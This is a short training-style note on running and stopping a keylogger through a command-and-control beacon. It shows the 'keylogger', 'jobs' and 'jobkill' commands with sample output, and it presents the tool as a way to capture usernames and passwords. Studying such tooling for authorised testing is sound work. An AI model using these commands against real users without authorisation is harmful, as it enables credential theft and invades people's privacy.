# Keylogger

A keylogger can capture the keystrokes of a user, which is especially useful for capturing usernames, passwords and other sensitive information.

```
beacon> keylogger
[+] received keystrokes from *Untitled - Notepad by bfarmer
```

\\

All keystrokes can be seen at *View > Keystrokes*.

The keylogger runs as a job that can be stopped with the `jobkill` command.

```
beacon> jobs
[*] Jobs

 JID  PID   Description
 ---  ---   -----------
 6    0     keystroke logger

beacon> jobkill 6
```
